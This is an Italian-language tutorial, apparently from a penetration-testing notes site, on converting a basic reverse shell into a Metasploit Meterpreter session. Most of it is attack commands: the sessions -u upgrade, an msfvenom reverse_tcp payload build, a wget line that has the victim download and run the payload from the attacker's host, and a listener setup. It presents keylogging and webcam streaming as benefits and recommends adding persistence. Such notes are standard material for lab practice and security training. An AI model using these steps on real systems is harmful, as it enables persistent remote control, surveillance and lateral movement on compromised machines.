Tutorials

Modulo

> 🔐 Scenario: Abbiamo ottenuto una shell normale ad esempio tramite exploit command injection, file upload, ecc. e desideriamo passare a una sessione Meterpreter, più potente e flessibile. ---

#exploitation#metasploit

🧠 Upgrade da Shell Normale a Meterpreter (MSF)

🔐 Scenario: Abbiamo ottenuto una shell normale (ad esempio tramite exploit command injection, file upload, ecc.) e desideriamo passare a una sessione Meterpreter, più potente e flessibile.

🎯 Obiettivo

Convertire una shell reverse ottenuta tramite netcat o simile in una sessione Meterpreter, per abilitare funzionalità avanzate come:

  • Pivoting
  • Keylogging
  • File browsing interattivo
  • Screenshot
  • Webcam streaming
  • E molto altro

🔧 Prerequisiti

  • Accesso a una shell attiva nella console di msfconsole
  • La shell deve essere attiva come sessione all'interno di Metasploit
  • Permessi adeguati sulla macchina vittima
  • In alcuni casi, supporto per wget o curl per il download del payload sulla macchina target

📌 Comandi Step-by-Step

#### 1. Mettere in background la shell

Quando hai il controllo della shell normale:

bash
Ctrl + Z
Questo ti riporta alla console principale di msfconsole, lasciando la sessione attiva in background.

#### 2. Visualizzare le sessioni attive

bash
sessions

Output esemplificativo:

nginx
Active sessions
===============
Id  Name  Type             Information             Connection
--  ----  ----             -----------             ----------
1         shell x86/linux  root@victim             10.10.14.5:4444 -> 10.10.10.10:51515 (10.10.10.10)

#### 3. Eseguire l’upgrade verso Meterpreter

bash
sessions -u <ID_SESSIONE>

Esempio:

bash
sessions -u 1
Questo attiva automaticamente un payload Meterpreter sulla sessione selezionata, sfruttando un modulo di post/multi/manage/shell_to_meterpreter.

#### 4. Verifica dell’avvenuto upgrade

Una volta completato, esegui:

bash
sessions

Dovresti vedere una nuova sessione con tipo meterpreter.


💡 Note Tecniche

  • Questo metodo utilizza un payload reverse tcp Meterpreter inviato dalla macchina Kali.
  • Potrebbe non funzionare se:
- La vittima non ha wget, curl o simili. - Il firewall blocca le nuove connessioni reverse. - La shell iniziale è troppo limitata (es: non interattiva).

🛠 Tecnica Alternativa Manuale (Se lo script automatico fallisce)

1. Carica manualmente il payload:

bash
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<tuo_ip> LPORT=4444 -f elf > meterpreter.elf

2. Hosta il payload:

bash
sudo python3 -m http.server 80

3. Scarica sulla vittima (da shell normale):

bash
wget http://<tuo_ip>/meterpreter.elf -O /tmp/meterpreter.elf
chmod +x /tmp/meterpreter.elf

4. Avvia il listener:

bash
use exploit/multi/handler
set PAYLOAD linux/x86/meterpreter/reverse_tcp
set LHOST <tuo_ip>
set LPORT 4444

run

5. Esegui il payload sulla macchina vittima

bash
/tmp/meterpreter.elf


📦 Modulo usato da sessions -u

Il comando sessions -u utilizza internamente:

bash
post/multi/manage/shell_to_meterpreter

🧩 Best Practice

  • Subito dopo l’upgrade, eseguire sysinfo o getuid per verificare la stabilità e i permessi.
  • Aggiungere un persistence module se necessario.
  • Evitare connessioni lente o insicure: preferire reverse_https dove possibile.